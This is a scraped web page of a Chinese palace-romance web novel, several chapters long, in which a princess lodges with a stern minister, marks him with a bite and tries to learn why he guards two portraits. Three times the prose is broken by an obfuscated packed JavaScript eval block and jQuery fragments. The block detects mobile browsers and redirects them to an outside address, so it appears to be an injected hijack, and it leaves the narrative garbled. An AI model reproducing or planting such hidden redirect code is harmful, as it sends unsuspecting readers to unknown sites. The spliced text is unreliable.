;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14090862|147122||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
挂上了红线,凌乱又有序,如蛛网般缠绕在枯枝上,从枯枝垂落的线尾轻轻晃动,和舞娘臂上的披帛并无两样。
清素宁静的院落突然间染上一抹艳色,就像是昨日突兀住在家中的女子一样,格格不入却又让亘古不变的地方亮起一盏不属于这里的光。
“大人,这是……”
徐淮止收回目光,“她倒是有兴致。”
声音听不出喜怒,顺玉最后看了一眼被打扮的花枝招展的梅树后,这才抬步跟上徐淮止。
一进卧房,顺玉差点没认出来这是他待了七年的地方。
比之院中的梅树还要叫人吃惊的是,卧房中原本空着的地方突然间多了一个玲珑阁,上头摆满了书册玉器。原先的布帐换成了柔纱,桌上的瓷瓶中插了一枝修剪后的黄花,就连墙上都挂了两幅不知是谁笔下的古画。
莫说是他,就连他家大人都怔愣了许久。
“殿下这是要做什么?”顺玉不明白。
徐淮止更不明白不过区区几个时辰,周芮如何能将家里布置成这样。
听见动静的周芮从她的卧房中出来,提着裙角,笑容满面的朝着二人走来,“你们回来啦!”
少女清亮的声音从身后响起,徐淮止与顺玉同时回头看去。
瞧见徐淮止异样的目光,周芮坦然道:“我是瞧你屋中清寒,这才特意寻了友人弄来这些物件儿替你布置一番,徐相好意收留我,这些就当是我对徐相的感谢。”
话音刚落,她便注意到除了他们几人之外,屋里还有他人。
那些人手中抱着被褥,一层层的铺在徐淮止的床上,想起片刻前,朝着她屋内走去的那行人,周芮忽然睁圆了眼,偏头一眨不眨的看着徐淮止,“我们想到一处去了呢。”
“殿下是把这儿当成自个儿家了?”
这番布置,不知晓的还以为走错了地方。
徐淮止手指抚过瓶花,问她,“既然殿下还有友人相助,那昨个儿为何不去寻她?”
什么友人不过是她编出来的借口,自父皇重病后,莫说友人,便是街边的狗见了她,都会退避三舍,她如此说不过是为了面上好看,谁能知晓徐淮止会借机寻事。
她身形僵硬片刻,只得硬声道:“比起友人来,我与你的关系应当更亲近些,况且知人知面不知心,旁人是不是两面三刀我不知晓,但你一定不是这样的人,我信你,也只信你。”
徐淮止抬眼看来,周芮不躲不避的对上他的目光,大有让他随意打量,她无愧于心的意思。
可这番话听在徐淮止耳朵里却并不是如此。
周芮的意图太明显,是以他懒得与她因此周旋,“行了,殿下的心意本官领了。”
周芮没承想,他会如此轻飘飘的揭过,并未多加为难。以徐淮止的性子,就算不咄咄逼人,也不会只闲散的随口一问。
可偏偏,徐淮止风轻云淡的从她身侧走过,那闲庭信步的模样,好似什么都明白,不需要再听她的辩解。
25. 第25章
徐淮止的态度让周芮松了一口气,可顺玉却脸色难看,目光在她与徐淮止身上来回左右,最终却什么都没说,跟在徐淮止身后走了出去。
待两人都前后脚离开后,周芮目光一闪,连忙朝着自己的屋里走去,刚一进去她便发现昨夜还平坦的床铺上添了许多东西,都不需要用手碰,只一眼她便能看见那料子算不得多好,只是勉强能用。
以往在宫里,她的吃穿用度向来奢华,就连被褥的料子都是以寸金相称的面料,睡过最差的,也就是昨夜。
眼下这些东西虽不入眼,可相较于这破烂院子而言,已是最好之物。
总好过如昨夜那般睡在床板上,浑身酸疼来得好。
这些东西是谁的吩咐不言而喻,令周芮错愕的是,徐淮止将她的话放在了心上。
回想起先前看见的那副画像,她眼中迸发出一丝神采。
可随即,她又摇摇头,“那画上的人连模样都看不清,徐淮止又怎能将人认出来。”
若不是那一模一样的虎头娃娃让她断定那是自个儿,或许连她都不能确定画像上的人是谁,更遑论徐淮止。
是以徐淮止此举,多半为心软所致,或是看在她公主身份上的缘由,才破天荒的花费一笔银子,为她添置被褥。
只是那画像的意义她总归要弄明白才是。
-
接下来几日,宅院中总会多出一些物件,小到檐下风铃,大到桌椅,那些东西总是趁着徐淮止上衙时悄无声息的出现,又明目张胆的落入他眼中。
往日几乎无人问津的地方,眼下每日都有许多人来去自如,热闹的紧。
接连几日如此后,顺玉忍不住小声说了几句周芮的不是,“殿下这哪是暂住,我瞧她恨不能将自个儿当成这里的女主人。”
沾了墨汁的笔锋因这一句话拐向了原本不属于它的地方。
徐淮止抬起执笔的手,皱眉看向顺玉,“她又怎的了?”
这一问,便险些止不住顺玉憋了好几日的话头,“属下的那间屋子里多了一张卧榻,还有许多女子用胭脂水粉,每回从那里经过,属下都要打好几个喷嚏,本来以为是病了,可属下去看了大夫后才知晓,不是病了,是被香气熏的。”
话音刚落,桌上香炉氤氲出的青烟便从顺玉鼻尖划过,他忍不住又是一个喷嚏,唾沫横飞,打在徐淮止刚刚书写好的册子上。
徐淮止彻底将笔放在砚台旁,道:“你先前住的屋子并不靠近大门。”
顺玉揉搓鼻尖的手一顿,支支吾吾的道:“还不是殿下屋里老是发出敲敲打打的声音,属下好奇,就……”
“就去女子屋外走动?这便是你的规矩?”
告状不成反惹一身骚的顺玉也急了,口不择言道:“大人是否太过偏心了些?分明是殿下行事不妥,大人不在意便罢了,为何还要处处帮她说话?”
“正是因为大人如此纵容,才叫殿下有恃无恐,好好的家都被她糟蹋成什么模样了。”
徐淮止看了顺玉半晌,忽然道:“所以你觉着,我应该生气才是?”
“大人素来节俭清廉,朝堂上下谁不知晓您两袖清风,可殿下这一遭,以后让那些人怎么看待大人!”
顺玉之所以忿忿不平,就是觉着周芮此举坏了徐淮止在众人眼中的名声,故而才这般恼怒。
徐淮止并未责怪他的逾矩,正是因为了解顺玉在为他打抱不平,所以他不见一丝恼怒,只道:“我舍弃陛下赐予的府邸,不沾金银,与名声无关,所以旁人想如何议论,是他们的自由,与我无关。”
“属下明白,可若只是如此便好了,大人不知,这些时日因为殿下此举,许多人都怀疑、怀疑……”
“怀疑什么?”
顺玉犹豫片刻,咬牙道:“怀疑大人家中藏了一个女子。”
方才还对于名声二字云淡风轻的徐淮止身形一僵,那张如花似玉的脸从眼前一晃而过,不是周芮还能是谁。
“属下知晓大人不想参和纷争,可若是被人知晓殿下与大人同住一屋……”
徐淮止锐利的目光猛地看向顺玉,他立马换了个更加严谨的词儿,“同住一处,大人就是长一百张嘴也说不清了啊。”
“那便让他们来查。”
顺玉撇嘴道:“宁王那头已经有动静了,近日来总是有人探查公主府走水前一日,殿下的去处。”
他抬头看了一眼仍旧无动于衷的徐淮止,“不过都被属下截断了消息。”
“还有黎王那边也听见了动静,想方设法的查探着您身边那位姑娘的消息。”
这欲露不露的关系与身份便像是独木桥上的行人,稍不注意便会落水而亡。
“嗯,从今日起让她安生待在家中,莫要出门。”
顺玉不敢置信自己说了这般多,大人仍旧执意将殿下留在家中,“依殿下的性子,她恐怕……”
“她若不听,便让她回赵家去。”
事已至此,顺与也没有旁的法子能说动徐淮止将那块烫手山芋丢出去了。
周芮得知这个消息时,刚从外边儿回来,手里的甜酒将将放到桌上,便瞪着一双美眸,问他:“你家大人说的?”
“是。”
夜里寂静无声,几盏油灯发出微弱的亮光,勾勒出少女艳丽的五官。本以为她会大闹一场的顺玉眼睁睁看着她落寞的垂下眼睑,细声细气道:“知道了,我不出门就是了。”
橙黄的烛火映照在少女略微低头的墨发上,从顺玉的视线看去,少女饱满的额头上还精心画了一朵花钿,美艳动人,让他在刹那间冒出一个念头——
这是一个仅凭容色就能让男子的一颗心丢在她身上的祸国妖姬。
顺玉被周芮的声音唤回神来,“我在酒楼里买了些膳食回来,你去叫你家大人过来用膳吧。”
他低头复杂的看了一眼周芮,这才转身踏出房门。
不过片刻,徐淮止与他随行而来,远远的便瞧见那个正站在桌前布膳的少女。
她举止艰涩的从竹篮中拿出一叠叠瓷盘,试图想要将饭菜摆放的好看,却又并不熟稔,小小的一张圆桌上拥挤着七八个不同风味的食盘,最大的一盘蒸鱼,已经堪堪挨着桌沿,再放不下一点。
徐淮止看得有些恍惚,仿佛在一瞬间回到了少时住着的那个小院里。
那里也有一个绑着头巾,衣着朴素的女人温柔的将刚做好的饭菜端到桌上,随即眉眼含笑的看向他,唤他,“阿止,快来吃饭。”
“徐淮止?徐淮止?”聒噪的声音打破回忆的镜子,出神的瞳仁渐渐聚拢,徐淮止抬头看向站在桌边巧笑嫣兮的周芮,抬步走了过去。
除了一桌精致的饭菜外,还有满满一壶酒水,那熟悉的甜香让徐淮止下意识扫了一眼院中梅树,随即又不动声色的将目光放回到周芮身上。
他并未落座,“殿下这是做什么?”
“看不出来吗?”周芮坐在椅子上,微微扬起脑袋看他,眸中始终闪烁着浅浅笑意,“陪你一起用膳啊。”
“陪我?”
周芮自然的抬起拉住他的衣袖,想让他落座,“是陪我,我想大人陪我一同用膳。”
虽然不知晓徐淮止为何在这些事情上这般计较,但只要他能配合,她都依着他。
徐淮止顺了周芮的意,掀袍落座,目光淡然的看着桌上的食物。
周芮发现他爱茹素,桌上那般多的菜,他却偏偏只夹身前的几道。
徐淮止用膳不喜将菜夹至碗中与饭和在一起,是以每每夹上一筷子都是直接送入口中,这是他多年以来的习惯,却不承想,再一低头,他的碗中多了一块油光水滑的东坡肉。
与之一同出现的,还有周芮清亮的声音,“多吃些,他们家的菜做的可好了,小时候我偷偷溜出宫时就总和阿樾一起去吃,你尝尝。”
捏住木筷的手动了动,徐淮止略有阴沉的脸色在听见这番话后,忽而缓和些许,片刻后,目光轻闪,他还是低头将其放入了口中。
周芮笑眯眯的问:“怎么样,没骗你吧?”
“殿下平素与人用膳,也是这般夹来夹去吗?”
她放下手中干净的木筷,略一思索后颔首,“以往宫人伺候用膳时便是这般啊。”
只是那时,她几乎不用动手,只需一眼,便有人为她添茶夹菜,更何况整个公主府就她一个主子,哪里需要夹来夹去的。
周芮没有明白徐淮止问这话是何意,托腮问他,“你不喜欢?”
徐淮止只回了她一句,“食不言寝不语。”
周芮差点气笑,她在宫中都没有这么多规矩,到了这破宅子里却被他教训上了。
贝齿轻磨,余光注意到一旁早已备好,又笑开了眼,“那我们便喝酒吧,喝酒总能说话了。”
周芮将酒水倒于杯中,推至徐淮止跟前。
徐淮止目不斜视,专心致志的用着桌上饭菜,“殿下想喝酒,恐是寻错人了。”
“怎会,我这是感激徐相的收留,这是谢宴,亦是谢酒。”她抬起杯盏,递在徐淮止跟前。
不是要讲规矩?那她便与他讲讲规矩,话都说到这个份儿上了,以徐淮止的性子,总不好推脱。
果不其然,他放下碗筷,目光从杯盏游移到周芮的脸上,似乎在琢磨她又在打着什么主意。
周芮率先一饮而尽,将杯盏倒置,“你瞧,这可是真真儿的酒。”
言外之意徐淮止自然明白,他接过周芮手中的杯盏一饮而尽。
周芮笑道:“徐相好酒量。”
正要续上,手腕却被一只修长的手按住,提醒中蕴含着丝丝警告,“谢酒已经喝过了。”
“几杯酒而已,你如此推脱,莫不是不行?”
她话里并无他意,不过就事论事,可徐淮止却在瞬间沉下脸色,“喝酒也要看与谁喝。”
他什么意思?
与旁人喝得,与她喝不得?
他若是不醉,她哪来的机会询问那两幅画的来由。
正在周芮暗恨徐淮止如此难搞之时,却听徐淮止道:“殿下如果是因为不让你出门一事,大可不必,眼下盯着你我的人太多,你此时四处走动,百害而无一利。”
“盯着我们?这是何意?”
“殿下不知外面传言?”
周芮放下杯盏,意有所指道:“知道啊,外边儿都说徐相对我恨之入骨,眼下我无人可依,最高兴的就属徐相了。”
徐淮止:“……”
他捏着眉心,半晌不语。
周芮当然知晓眼下外边儿的情形,她虽住在此处,可并非当真与赵家生了隔阂,是以她白日频频出门,除了要买些东西以外,便是去见赵家的人。
她那般大张旗鼓的往这里置办物件儿,除了想试试舅婶的法子以外,便是要让人知晓,她与徐淮止住在一处。
可惜,她不敢在外边儿光明正大的报出身份让徐淮止察觉她心有不轨,可此番的结果便是,传言只传出徐淮止家中藏着一个女子,但这女子是谁却暂且无人知晓。
徐淮止不愿与她有牵扯,是以让她安生待在家中。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14111720|147122||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>可她的目的与他截然相反,就算待在家中,也不能让这传言消散,怎么着也该添把火才是。
酒过三巡,灯芯燃尽,只泛着极其微弱的亮光,仿佛细风轻轻一吹,便能彻底熄灭。
明暗摇晃间,徐淮止突然察觉身侧多了一人,搁在桌上的手臂被人紧紧抱着不撒手,带着酒气的灼热气息缓慢的飘进鼻中,哪怕他滴酒未沾,好似也在瞬间有了醉意。
“殿下!”
他隐隐含怒的声音没有让少女离开,反而令她贴得更近了些。
周芮抬起水盈盈的眸子,下巴抵在徐淮止因握拳而坚硬的手臂上,一眨不眨的盯着他,“你又凶我。”
轻轻的一声嘟囔好似受了天大的委屈,徐淮止动了动手臂,发现抽不出来,“殿下,你醉了。”
迷茫的眸子清醒一瞬又再次蒙上团团雾气,她伸出一根玉指,缓慢的靠近徐淮止高挺的鼻梁,在即将触碰到肌肤时,又突然停下。
徐淮止垂下漆黑的双眸,锐利斥责的目光如一把尖刀抵在眼前,警告着并不安分的少女。
可醉酒之人哪里知晓危险将至,玉指在半空中勾勒着徐淮止精致的五官,仿佛有一种看不见的牵引,随着指尖的挪动而游走。
分明并未触碰到肌肤,可徐淮止仍旧感觉到了一抹微不可查的酥麻从额头至鼻尖,再到唇上。
他不顾半倒在怀中的周芮,猛地起身,椅子拖动出刺耳的声响,可摔倒在地的周芮却并未清醒过来,反而抬起一双满是怒火的眸子,像一只还未长成的兔子,却敢对着天敌龇牙不满。
“你弄疼我了!”她晃晃悠悠的撑地而起,堪堪到他肩膀的身量,便是踮起脚来也毫无气势,“你弄疼我了……”
“殿下若是再耍酒疯,就别怪——”
话音未落,徐淮止忽而睁大双眼,浑身僵硬,只剩下瞳仁不敢置信的,缓慢的向下看去。
那贴在脖颈上的湿润一触即离,可刺痛之后留下的血痕却并未随着少女的离开而消散。
“现在我们就扯平啦!”少女笑弯的双眼中盛满星光,星星点点的落在迟迟没有回过神的徐淮止身上。
她方才……
咬了他。
周芮浑身发软,身子前倾,脑袋直直的磕在徐淮止胸前。
撞击后的疼痛拉回他的思绪,他低头看向已经昏睡过去的少女,一种恼怒至极却又不知如何发泄的无力感让他迟迟说不出一句话来。
周芮不知何时回的房,如何回的房,在她突然醒来时,已是三更天。
她揉着剧痛晕眩的脑袋坐起身来。
屋内漆黑一片,没有燃灯,只能借由窗外的月光隐隐看清眼前的事物。
酒是真喝,醉亦是真醉。
否则以徐淮止的细致,她但凡有一丝佯装的意味都能被他瞧出来。
好在最后那些酒并未白饮,她仍旧在他身上留下了一抹痕迹。
他想遮遮掩掩怎么行,她住进徐家,可不是为了陪他用膳的。
次日一早,天还未大亮,周芮听见屋外传来细微的脚步声,合衣上前打开屋门,目光便瞬间落在了一身官袍,欲要出门的徐淮止身上。
他今日的衣襟比往日都要高上半截,周芮诧异道:“徐相怎么瞧着脸色不大好的样子,是昨夜没睡好吗?”
门前的灯笼映出徐淮止算不得好看的脸色,“殿下以为呢?”
周芮披着外衫,行至他身前,目光始终游移在他的脖颈间,“还是说昨夜不小心感染了风寒?不然怎的连衣襟都比平日高上许多。”
“殿下不记得了?”
周芮讶异道:“记得什么?”
余光瞥见徐淮止被衣襟堪堪遮住,已经结痂的血痕后,眼底极快的闪过一丝笑意。
就算高上半截又如何,她可是强迫自个儿不要被酒意干扰,特意选出的一处连衣衫都遮挡不住的位置,怎会轻易让他糊弄过去。
只要离他近些,他稍稍一动,那红的晃眼的痕迹便能立即被人捕捉到。
她没忘记,今个儿他们这些大臣,可是要上朝的。
徐淮止双眸噙着冷光,盯了周芮半晌后,终是拂袖离去。
顺玉的目光来回在这二人身上打转,直至坐上了马车,他也仍旧回头看了一眼端庄立于门前,笑意盈盈的周芮。不明白昨夜他不在的时辰里,到底发生了什么。
-
朝堂上一日既往的热闹。
熟稔的唇枪舌战出现之时,只有立于一旁的徐淮止眉宇紧蹙,薄唇紧抿,心不在焉。
“三月十四便是春祭,眼下距离那日不过只有十天,此时分出人力来办宫宴,下官觉着不妥。”
“春祭之事各处都早已安排好,宫宴是为了迎北朝太子,彰显我大周礼数之举,不能不办。”
“下官觉着……”
在春祭与宫宴的事情上不知吵了多久,迟迟争论不下时,周凌忽然看向徐淮止,问道:“徐相觉着应当如何?”
徐淮止抬头的那一瞬,牵动衣襟,那藏在下面若隐若现的红痕毫无预兆的映入众人眼帘。
有人倒吸一口凉气,有人怔愣到忘记开口。
周凌目光闪烁,面不改色的将眼睛从徐淮止的脖颈上移开。
他晓得在金銮殿上,朝臣之间,何事该提何事不该,可有些自小便在军营来去的人,却没有他这般的规矩。
与周凌并肩站在最前头,身形健硕的男人轻笑一声,眼中挂着明晃晃的调侃,“本王今天头一回发现,原来徐相也和寻常男子没什么分别啊。”
26. 第26章
周启的话如同投入湖面的石子,激起了朝堂上新一轮的波澜。
众人不由得回想起近日来听到的风声,原先还些半信半疑的朝臣,眼下顿时眼观鼻鼻观心,琢磨着与徐淮止亲近的女子到底是谁。
徐淮止身子僵硬一瞬,压下对周芮昨夜之举的恼怒,这才面不改色的掀起眼皮,淡淡地扫视一圈,最后将目光定在周启身上,冷然道:“不过蚊虫叮咬罢了,王爷不必多心。”
周启闻言,脸上的笑意更浓,似乎对徐淮止的解释并不买账,“本王还没到老眼昏花的地步,是蚊虫还是齿印,自然分辨得清。”
先前还吵扰的金銮殿随着这句不加掩饰的话瞬间寂静下来。
眼见徐淮止脸色愈发阴沉,周凌忽地轻咳一声,笑道:“听闻昨夜皇兄在府中设宴,二更才歇,恐是酒意未消,看岔了眼吧。”
周启闻言,目光悠悠的看向立于身侧的周凌。
从金銮殿出来时,徐淮止满面寒霜,那些似有若无凝结在他身上的目光如一把枯草,顷刻间便点燃藏在心底的火苗。
他烦闷的抬手勾住衣领,欲盖弥彰的遮掩却在瞬间引来更多注目。
徐淮止黑着一张脸,大步流星的走出宫外。
他这一走,在金銮殿外流连半晌的朝臣纷纷凑到一处交头接耳起来:
“你们说那女子是哪家姑娘,行事这般大胆?”
“依我看啊,应当不是京中贵女,否则怎么会……”说话这人指着脖颈,一脸意味深长。
“要我是徐相,早就将这等不懂规矩的女人赶出府去了。男子在外脸面丢不得,将关起门来的事落到明面上,被人看见,丢脸呐。”
众说纷纭之间,有人忽而提起两日后的宫宴一事,转移了话头,一个个愁容满面的大臣,相偕离去。
宫宴一事落定,最在意的莫过于周芮。
宁王不会放弃和亲一事,宫宴便是他捅破这层窗户纸的时候。
前来带话的青雉,眉目间尽显担忧,“殿下,后日的宫宴,你可有把握?”
他们谁也没料到,徐淮止手眼通天到这般地步。二王对他的忌惮并非毫无根据,殿下如此高调行事,最终的传闻却仅限于‘女子’二字,他们先前的计划几乎被徐淮止所阻断。
青雉心中感到不安,一种深深的无力感悄然涌上心头。
“青雉,你回到赵家后,帮我向外祖父询问一下我幼时的事情。”
青雉面露惊讶:“殿下幼时的事情?”
周芮嘱咐道:“尤其是与父皇微服私访时的往事。”
“为何要询问家主?这些与殿下幼年相关的事宜,殿下难道一点也记不得了吗?”
面对她满眼的疑惑,周芮摇了摇头,脸上流露出沮丧,“那些往事,我记忆中只剩下一些零散的画面。”
周芮担心青雉不会重视此事,郑重其事地叮嘱道:“这件事可能是破解困局的关键,务必调查清楚。”
青雉领命,心中却仍有疑惑,正想进一步询问时,屋外突然传来稳健的脚步声,她与周芮对视一眼,迅速躲进柜子后狭窄的缝隙中。
周芮起身走向窗边,正要关上,却恰好看到徐淮止大步穿过院子,回房时,他猛地关上门,紧随其后的顺玉差点被门撞到鼻子。
顺玉揉着鼻尖转身,一个抬眼便对上周芮看来的目光。
少女对着他盈盈一笑,好奇问:“徐相这是怎的了?为何瞧着那般火大?”
顺玉与她遥遥相望,眼中生疑,“殿下竟然不知?”
周芮原本是不知的,可他这样一问,她便立马明白了什么,随即对着顺玉勾勾手指,让他走过来些,而另一只放在身后的手,则示意藏匿在缝隙中的青雉,让她寻机会赶紧离开。
顺玉眸中露出警惕,他缓步靠近,停在距离窗户三尺远的位置,“殿下想说什么?”
“你难道不想知晓你家大人今个儿为何心绪不佳吗?”
顺玉古怪道:“殿下知道?”
方才不是还询问他来着,怎么就这一会儿,她又一副什么都知道的模样了。
就在顺玉半信半疑间,周芮坦然道:“适才记起来了。”
这话可信度并不高。
周芮问他,“你听是不听?”
虽然顺玉大抵能猜到此事与周芮定有瓜葛,或许其缘由更会令他徒增烦忧,可眼下听周芮如此问,好奇心驱使下,他立马道:“听!”
周芮喜笑颜开,从眼中一晃而过的狡黠令顺玉心中忽然出现一抹不好的预感。
“那本宫与你交换。”
“交换什么?”
周芮道:“自然是交换……秘密。”
顺玉神色一凝,连忙道:“殿下,属下还有要事在身,先行一步。”
他刚转身,周芮阴恻恻的声音便在身后响起,那话中若有似无的带着些许引诱,让他双脚不由自主的停在原地。
“这件事与你家大人的性命相关,你现在若是不听,日后便没机会了。”
顺玉咬牙,又听身后之人道:“你也可以自行去问,可他会不会告诉你,便不知道了。”
想起回程路上,他三番四次的打听,换来的除了他家大人愈发难看的脸色外,并无半点信息。他本就对此事好奇的紧,眼下被周芮一勾,更是心痒难耐。
他回身看向周芮,认命道:“殿下想要知晓什么?先说好,属下绝不会告诉殿下对大人不利之事!”
“放心。”周芮弯唇笑道:“我只是想知晓那日下雨,徐淮止为何那般紧张那两幅画像罢了。”
顺玉一听,猛地松了口气,“那两幅画像是大人亲手所画,自然紧张。”
“只是如此?”周芮见他说话遮掩,不想再与他打太极,径直问道:“他是紧张自个儿的画,还是紧张那画上的东西。”
锐利的目光在一瞬间擒住周芮,她不躲不避的对上顺玉的目光,势必要知晓那画像对徐淮止的意义。
片刻后,顺玉才垂下双眼,“自然是画像上的东西,大人一直在派人寻找画中之人,但具体是为何,属下不知。”
“当真不知?”
顺玉看向周芮,“不知。”
见他目光真诚,并无闪烁,周芮这才信了他的话。
若徐淮止在意的是画像上的人,虽不知发生了何事,但从他那日的紧张神色来看,定不会是坏事。是以她若能拿着那虎头娃娃去寻他,告诉他自己就是他要找的人,眼下的困局是不是就会迎刃而解?
就在周芮深思时,顺玉伸手在她跟前晃了晃,“殿下?你还没告诉属下大人今日为何心绪不佳呢。”
周芮回过神来,嘴角勾起一抹明媚的笑容,“因为……”
顺玉竖起耳朵,面色严肃,眼中隐隐含着一丝紧张,事关徐淮止性命,他生怕错听一个字。
周芮嘴唇轻动,“他脖颈上有女子的齿痕。”
顺玉:?
有那么一瞬间,他觉着自个儿的耳朵或许是出问题了,否则为何会不明白此事与他家大人的性命有何关系。
等等……
女子的齿痕?
他双目瞪大,嘴唇微张,在他兀自怔愣之际,面前的窗户缓缓合上,遮去了少女清艳的容色与眼中的狡黠。
“殿下!”顺玉面红耳赤,甚至顾不得身份之别,拍打着窗户,“你把话说清楚些!”
这一动静没有闹到早已目的达成的周芮,反而是徐淮止的屋门突然大敞,冷沉的声音唤回了顺玉的神志,“顺玉。”
顺玉咬牙看了一眼紧闭的窗户,这才转身,挪动着步子行至徐淮止跟前。
“大人,殿下她……”
“弄些吃食来,我饿了。”徐淮止眼下不想听见任何有关周芮的事情。
大半日过去,徐淮止滴米未进,顺玉见他唇色略显苍白,顾不得方才之事,连忙转身去了厨房。
听见外边儿没了动静,周芮以为此事就这般揭过了。
谁料半个时辰后,屋门被顺玉敲响,他道:“大人说了,寒舍简陋,恐会委屈殿下,是以让属下在京城中最好的客栈为殿下开了一间上房,请殿下过去暂住。”
“他赶我走?”
周芮眨眨眼,颇有些不敢相信,不过一个咬痕罢了,他怎会气恼至此?
可见顺玉的神色,并不像是玩笑。
周芮起身,欲要去寻徐淮止,却被顺玉上前阻拦,“大人事务繁忙,不会见殿下的。”
他眼中一闪而过的喜悦没有逃过周芮的眼睛。
她先前察觉到顺玉将她当做洪水猛兽,是以之前的戏谑不过是给他一个小小的教训,谁料不出半个时辰,便风水轮流转,轮到他来看笑话了。
周芮越过他抬起的手臂仍旧固执的要往外走,可她每走一步,顺玉便阻拦一步,始终挡在她身前,与她保持着一步之遥的距离。
“让开。”
“殿下,大人说过不会见殿下的,属下也是为殿下好,否则届时吃了闭门羹……”
周芮忽而上前一步,还在说话的顺玉还没反应过来,就那般直直的对上少女愠怒的双眸,“本宫叫你,让开。”
香气扑鼻的一瞬,顺玉猛地回过神来,慌忙后退一步,劲瘦的腰身撞在桌角,绯红爬上脸颊的一瞬,不知是疼的还是羞的,就在他疼的龇牙咧嘴时,周芮已然擦着他的肩头走过。
他懊恼的转身看向周芮离开的背影,只觉那人当真可恶。
他揉着撞疼的腰一瘸一拐的朝着屋外走去,余光瞥见周芮竟连门都不敲,便兀自闯了进去,顿时大惊失色,顾不得疼痛,咬着牙往徐淮止的卧房走去。
还未靠近,他便听见方才在他跟前气势高涨的公主殿下,此刻竟软着声音,可怜又委屈的道:“你当真要赶我走吗?”
屋内,端正坐于桌前看书的徐淮止头也不抬的道:“殿下说错了,不是赶,是请。”
请她去客栈暂住。
话不同,可意思却都一样。
“我喜欢住在这儿。”
“殿下喜欢,与我何干?”
“同为好友,住在友人家中,总比客栈来的好。”
徐淮止总算肯放下他手中的破书,抬头看她一眼,只是那话却比先前还要冷淡几分,“我先前说过,我与殿下之间只有君臣,再无其他。”
“那我以公主的身份命你
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14120828|147122||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
不许将我赶去客栈。”
话音刚落,徐淮止便不耐的蹙起眉头,深邃漆黑的眼眸中满是对她的漠然,“殿下非要这般?”
周芮觉着,她若敢点头,下一瞬徐淮止便要告诉她,这个公主她不用当了。
是以,周芮只能咽下脱口而出的话,垂头丧气道:“徐淮止,你能不能别赶我走。”
屋内迟迟没有传来徐淮止的声音,周芮抬头看了他一眼,只见他不知何时又拿起书册,指尖捏住书册一角,缓慢翻过,俨然没有要搭理她的意思。
动之以情晓之以理既然无用,她便只能换别的法子了。
余光瞥见墙上的画像,周芮缓缓道:“若是我知晓那画中之人的消息,你能不能让我留下。”
只一瞬,徐淮止脸上的神色便肉眼可见的动了起来,他目光如隼的看向她,“殿下可知晓自己在说什么?”
那令人胆寒的目光是周芮从未在徐淮止脸上见到过的。
被他盯着的心悸让周芮顿时后悔起来。
若此事与她所想不同,徐淮止寻画像的人是因着与他有深仇大恨,是以他才那般紧张的话,那她眼下说出来,不就是搬起石头砸自己的脚吗?
端坐于红木方桌后的男子忽而起身,缓步朝着她走来,眼前蓦然罩下一团阴影,让周芮紧张的咽了一口唾沫。
“你知晓这画上之人的消息?”
尽管并未抬头,可周芮仍旧能察觉出那道目光紧紧锁在她的脸上,不放过她任何一丝神情。
话已出口,她只能硬着头皮道:“自然是知晓的。”
片刻后,徐淮止冷沉的声音才在耳边响起,“是吗?那殿下不妨说说,那人在哪儿?”
周芮缓了一口气,抬头看向他,“兹事体大,不若你先告诉我,你为何寻她。”
“她?”徐淮止转头看向那两幅画,能被称之为‘她’的只有左边那副女童图。
徐淮止眸中快速的闪过一丝什么,纤薄的唇紧抿,半晌后才缓缓道:“我欠她一样东西。”
周芮仔细打量着他脸上复杂多变的神色,直到确定不是仇家后,才松了一口气,“所以你是想要还她?”
“是也不是。”
这算什么回答?
周芮方才提起的心,又随着这一声落下。
徐淮止回眸看向她,似乎是在等她说那‘消息’。
“她……”周芮犹豫片刻,“我先前在宫中见过,如今嘛……”
见徐淮止紧盯她不放,再三衡量下,周芮仍旧没有将事实说出口,而是半真半假道:“出宫了。”
“去哪儿了?”
“回家。”
徐淮止沉默不语,周芮大胆的看向他,“我知晓的都告诉你了。”
“在殿下眼里,这便是消息?”徐淮止冷眼看着她,“没有身份名姓,甚至连家住何处都不曾有,殿下这话,路边的乞丐都能编纂出来,恐怕比殿下编纂的还要令人信服些。”
他这话不无道理,可周芮眼下还不曾弄清他寻人的意图,怎敢全盘托出。
“我出宫许久,宫里的事情有些记不清了,后日不是宫宴吗?届时我去宫中问问,或许能有消息。”
徐淮止道:“殿下怎知,后日是宫宴?又怎知,以你如今的处境能入宫?”
周芮身形一僵,暗恼自个儿说话太快,竟忘了她如今困于泥墙,对于朝中之事不会知晓的这般快。
又被他抓住错漏之处。
周芮想不明白,这人方才还沉浸在寻人一事上,怎能那般快的察觉出她言语中的不妥,若是寻常人,此时满心满眼定都会被最在意之事勾去,哪能分心注意到这些细节之处。
